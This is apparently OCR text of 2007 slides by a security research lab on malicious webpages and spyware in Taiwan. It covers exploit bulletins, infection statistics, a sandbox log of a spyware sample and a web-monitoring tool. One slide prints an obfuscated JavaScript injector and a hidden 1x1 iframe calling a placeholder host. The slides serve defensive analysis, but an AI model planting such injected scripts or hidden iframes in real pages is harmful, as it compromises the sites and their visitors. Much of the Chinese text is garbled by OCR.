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About me

e Jeremy Chiu (Birdman)

* BTW, I got a new job! ©
o P H T - X-SolveR %z 7 A F X7 H
e Lead Security Researcher, X-Solve Lab, Armorize
Technologies
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“ Outline

* New Threat ! Web-based Malware

* What is Malicious Webpage?

* The Last Malicious Webpage Report in Taiwan

* Cyber Criminal Groups Are Working

* Analysis of Malicious Webpage

* Spyware Hacking

* Automatic Web-based Malware Analysis System
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Threat ! Web-based Malware

o ?‘:ﬁ; TP B — Web Security

* e Web 2.0 L) 1 - e R » i L
roetin e 405 03 Web 2.0 SPLT

* Web-based Malware

o FypEiT r’v’ﬂfl Kr’v’%‘ﬂ F 2 :}ﬂ 41> p o Malware£ Web
Security ¢ 5 R 5 4F mfﬁf?
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The majority of malware
activity seems to happen in
China, the U.S., Germany
and Russia

Reference:
Introducing Google's online security efforts
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is Malicious Webpage?

* Malicious Webpage
° # 7 #tHackerfic > 2ep ERAZSAS LELD S ¥
REFTEF D> AXPE B8P npis *
Spyware > %E’»?‘“ﬁ' vl A gﬁx%ﬁ; 0
° R 45
o %P 1} chE & Script — Malscript
o JTH R Y H IR AL A - Exploit
e &R it % - Malink (Maliframe)
c FARRE EARR
° Web Application Security
o i ¥ H i~ B 12SQL-Injection 5 B %
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| Microsoft Security Bulletin MS07-017: Vulrerabilities in GDI Could

Allow Remote Code Execution (925902
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¥ * i § Exploit

LR EHEERRS L

MSO07-017 — MS Windows Animated Cursor (.ANI) Remote Exploit
MSO7-009
MSO7-004 — VML Remote Code Execution (929969)

MS06-073

MS]06-071 — XML Core Services Remote Code Execution (928088)
MS06-068

MS06-067

MS06-057 — WebViewFolderlcon ActiveX
MSO06-055 -

MS06-014 — MDAC Remote Code Execution
MS06-013

MS06-005

MS06-004

MS06-001
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: h: //x-solve.com/blog

R E AR - AAwELH i ani O-day advisory

(935423 )3 RN
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¥ H-Solve - Advisory({935423) Emergent Fix 2007.3.21

Microsoft Security Advisory (335423) ZeroDay emergent fix
Microsoft Windows Animated Cursor Handling Yulnerakbility

bicrosoft Security Adwvisory (935423)

This software is developed by ¥-Solve Lab, You may use itfreely.
hitp:/ fx-solve. comfblog

Install emergent fix Femove this fix
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| Analysis of Malicious Webpage

* The Two Malicious Webpage Modes

€ ¥ahoo!EW - Windows Interret Explorer
()= nepuveyanoscomy

Encoded
Script

\

J

Encoded
Script

Exploit Code

Exploit Code
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Encoded Scripts

S #5 i erJava Script k 2 2 HTML

PP aExploit & 7 #:E#F & 4758 & A IDS/IPS & $jik
HH  UHFREBHEITREIRGFEFH A A4 EILHTML
OF e o R AR KWz - FASMC > » & _PE Packer
4 % I o

<script language="JavaScript">e = 'oxo00' + '5F';str1 =
"06E4%BCY%B7%AA%C0%ADY%AC%A7%B4%BBY%E3%FE%AA%B7%AD%B7%BEY%B7%B4%B7%AC%A7%E6%B8%B7
%BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%Bo%E6%F1
%F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF
9%C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2";
str=tmp=";for(i=0;i<str1.length;i+=3){tmp =
unescape(strislice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt (o) e)-127);;Jdocument.write(str);
</script> | 1

_—

<div style="visibility:hidden"><iframe src="http://xxx.com/xxx" width=1
height=1></iframe></div>
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Demo
* ASCII 7-8 Bits Encoding

* # & 3|Encoding
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The Last Malicious Webpage Report in Taiwan
c o AE- BERARRI BEF VALY

e No! & - i#Malware-Friendly Country

£d

Mo | Counkry Counk Percent
1 Bl china 1400 43,21%
2 == United States s 21.76%
3 = Russian Federation 346 I 10.68%
4 # Korea, Republic of 144 | 4, 445,
5 Brazil 9z | 2.84%
B GEErmany 67 | 2.07%
7 [0 France 57 | 1.76%
& [+l Canada 39 | 1.20%
9 [F United Kingdam 3| 0,96%:
10 [ Taiwan 31 0,96%
11 = Metherlands 31 | 0,96%
12 ™ Lkraine 26 0.80%
13 Z= Spain 25 0.77%
14 0N Italy 23 0.71%
15 [Ell Hong Kong 23 0,71%
16 |uww Czech Republic 20 0.62%
17 B3 Denmark 14 0.43%
16 @™ Panama 13 0.40%
19 ® Japan 13 0.40%
20 e Poland 12 0.37% | Reference:
21 | Argentina 10 0.31% PandaResearch
22 EE Malavsia q 0,25%
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E StopBadware.org - Windows Internet Explorer

@v |'&:‘!: http://www.stopbadware.org/home/reportsearch - |"f| x | ‘ sbadware ye
& -
WA

& StopBadware.org ] ‘ - - E&g - QQE(E) - QIE(Q) v

>

stopElB)ware.org

Regaining Control of Our Computers

R=.tw 333
149831 rR|

About
Badware

Home About Us  Our Reports Clearinghouse Fight Back

Search Badware Website Clearinghouse
Please enter the full or partial URL of a site to find any related
badware reports:

=gjged by Google?

Click here if you would like
StopBadware.org to review the
You searched for items containing the term ".tw’" there are 1484 inclusion of your website in the
results. Badware Website
Clearinghouse.

] Reguest for Review form

tud i

Search Clearinghouse

StopBadware Manifesto

Legend Guidelines
@: This site has been determined not currently to host or link to
badware

&) This site contains or links to badware behaviors

©: This site contains or links to badware

©0: This site has not yet been evaluated by Stopbadware

©O)- This site is currently under investigation

Badware Website

Clearinghouse

200664

1

O FEEs | segEm a
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‘Malicious Webpage Report By X-Solve Lab

* WebProtector
j#“ﬁ?ﬁémﬁ%’ﬂW%%”'% E R RET
B TR A% A 37 % kL - WebProtector
o B iT— =X k4 $74F £ ¥ 2007-07-21 0 £-¥ 5812000
Prbehd RRTREFRHE LT

¢ FHAI! A Y T 5 2007-07-2150p F e fy 4 e

rird
° ;&L"‘—}JMXX@‘-T » in & W aHIT20073.3- 2 %
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(Malicious Web Monitor And Analysis Project)

a

A0

inc

X-Solve Lab, Armorize

EHEES Technologies Inc.

- BREShE A

- ¥R 5

- Bt gie
- BRI ERET
 RRE S

http-/ivnww_armorize.com

e S EulR S Em e
FEEEELE hitp/Awww thce govtw

fFiE B SiEmEiEE
FEIE AN hitp//khhta.org.tw
[x]

$53 El4Z: Untitled Document
FEREENE: hitp/Awww.canzone.com.tw

A=

e EE: TEEERE EHal AR
FEHEEELL http:iwww fuli.gov.tw
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&3 ehie F 3F 2 (Malicious Webpage)=404
% i 2#k® (Malink) =233
&%f E R 312 24 2 (Active Malink) = 2XX
% 7 & 7 (Dropped Spyware)= 4X
R %E.} 7t & B 74 #7 (Location of Spyware)
__ Country | Member

CN 26 (XX%)
HK X

W
JP
KR
US
UA
RU

@
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Cyber Criminal Groups Are Working

o I BRIk e 5 AE T
o IR P W ERFTHET > APRPIESBREF IR
EEAARIZELRT I 2EATE A dd pRFER
merRe o 3 EF EHBg o 2 TEHBASLD
oA AP R ko
cHEFBMAEAFRATHERS RH > BETAHIRR
2
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Spyware Hacking
cRETRAMKRLSTHE ¥ A erSpyware

Taiwan Malicious Webpage and Spyware Hacking 22



Birdman (birdman

-solve.com) & UNARY (UNARY solve.com)

1 14:03:36.851 MESSAGE Archon Analyzer Version: 0.5.0.3
1060,824,Archon_analyzer 0S Version: Windows XP Build 2600
14:03:36.851 Start Analyzing

- 1060,824,Archon_analyzer SIS Target=C:\956062_0000_tcsafe.exe_
14:03:36.851 PID=1100

o 1060,824,Archon_analyzer CEERTE ANOCESy Filename=\956062_0000_tcsafe.exe_
14:03:36.851 PID=1100, TID=1180

* 1060,824,Archon_analyzer SEEINSEEL TR L AT Filename=\956062_0000_tcsafe.exe_
14:03:36.851 EAD PID=1100, TID=1632

. 1060,824,Archon_analyzer O L. Filename=4956062_0000_tcsafe.exe_

W bttt i COMMAND LINE Command Line=C:\956062_0000_tcsafe.exe_

1100,1632,956062_0000_tcsafe.exe_

14:03:36.913

PID=1100, TID=992

z 1060,824,Archon_analyzer EEMOIE Ttk Filename=4956062_0000_tcsafe.exe_
14:03:36.913 :

a8 1100,992,956062_0000_tcsafe.exe ADIUST PRIVILEGE SE_DEBUG_PRIVILEGE (Low=00000014, High=00000000} - Successful

9 PLOk A a0s ADIUST PRIVILEGE SE_DEBUG_PRIVILEGE (Low=00000014, High=00000000} - Successful
1100,1180,956062_0000_tcsafe.exe_ = = = ke L
14:03:39.648 - -

10 1100,1180,956062_0000_tcsafe.exe._ _\Devlce‘\HarddlskVolumel‘\WINDOWS‘\set.exe

8 AR DROP FILE \Device\HarddiskVolume1\WINDOWS\uninstal.bat
1100,1180,956062_0000_tcsafe.exe_ 3

12 14:03:43.460 CREATE PROCESS PID=E16

1100,1180,956062_0000_tcsafe.exe_

Filename=\WINDOWS\system32\cmd.exe

Taiwan Malicious Webpage and Spyware Hacking
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na y51s

System

* WebProtector

c PRAFERPELEIL AT AN VHETEFOE RS
B ARNT Sandbox

Sandbox

Add URL!

Upload URL List:

YES (2)  hitp:iwww Jookingforyou.com.tw/
YES(3)  hitp:/wiww.2xquis.com.tw

hitp:iiv-solve.comblog

Protector Server
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‘@ armorize technologies

Secure your web code

[ Admin Tools ] [ Logout]

Add URL: Now [+
Upload URL List:
Monitored URLs
Risk Malware URL Interval  Scan Status LastScan Time  Management

——| YES (@)

=<
m
w

(1

=
m
w

(2)

=<
m
(7]
&

YES (3)

JUCCO00CE

http://awto.wtocenter.org.tw
http://happyball.org.tw
http://www.web-designer.com.tw/
http://www.yahooo.com.tw/

http://soletec.com.tw

http:/www.family.com.tw/www/happy/member/

http:/fwww kinton.com.tw/
http://www.lockingforyou.com.tw/
http://www.exquis.com.tw

http://x-solve.com/blog

20 min D O active
Lhours [-] ©active
Single Scan )pone
Single Scan Done
Single Scan Done
single Scan ) Done
single Scan )Done
Single Scan )pone
Nmin [-] O active

Single Scan Done

2007-07-19 12:04:11 | remove
2007-07-19 12:04:11 | remove
2007-07-19 11:50:41 | remove
2007-07-19 11:52:46 | remove
2007-07-19 11:53:14 | remove
2007-07-19 11:53:47 | remove
2007-07-19 11:54:23 | remove
2007-07-19 11:54:23 | remove

2007-07-19 12:04:37 | remove

2007-07-19 11:57.05 | remove

Protector+
o T RiT
o p¥rit >
e ER®T

Report )

“#
e

2,
“Re %v‘!:,
= T

!
7

w
%
P

3

E
E
c2

ki

2

4
0

en > RPEFRIE > BERESE > HETEOTN

( Real-time Protection of Tampering Webpage )

=
#+ (Automatic Detection of Malicious Webpage )
~ 4%~ 4748 2 (The Trends of Malicious Webpage Comprehensive Analysis
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http:/ www, exquis, com, tw

Risk Lewel
o
=

Inspection History : http://www.exquis.com.tw

0 2007-07-19 12:04:37 0 YES (3) 7 seconds
1 2007-07-19 12:03:34 0 YES (3) 4 seconds
2 2007-07-19 12:02:37 0 YES (3) 6 seconds
3 2007-07-19 12:01:34 0 YES (3) 4 seconds
& 2007-07-19 11:56:33 0 YES (3) 7 seconds
Malware Details:
/love.htm (Download)
/3.htm (Download)
exe (Download) C:\DOCUME~1\oyalLOCALS~1\Temp\22085.com
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Analyzer Client

* Control By WebProtector Server
o 4 785 i JavaScriptet ¥ 4 % 0 E R % 7 (Encoded JavaScript Analysis )
o FrEipdit ER T #F4 (Heuristic Scan of Malicious Webpage )
o BRSNS T i en s ( Download URL Analysis of Injected Malware )
o FTANE X F WP (Webpage Zeroday Malicious Code Detection )

= X WebAnalyzer Bot 1 .01 { Aromorize ,Inc}Jul 19 2007

T arget M anagement
Protectar Protector | webEpes Clear || [ Start Checking

Site List File |Site_1.kxt Irnpart From File Refresh| | I Connect Server
AddUBL  |http:/#4-zolve.com/blog Add new Target 1] [0/0]

Checked Weh Sites - [104], Total time - [369] secands. — 20077419 _E4F 11:34:50
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* Special Thanks

e Sscan, Nanika, PK, Tim, Unary, Bob

* Reference

e http://research.pandasoftware.com/blogs/research/archive/2007/05/22/Malware_2
Doo_friendly-countries.aspx

e http://googleonlinesecurity.blogspot.com/2007/05/introducing-googles-anti-
malware.html

e http://www.usenix.org/events/hotbotsoy/tech/full_papers/provos/provos.pdf
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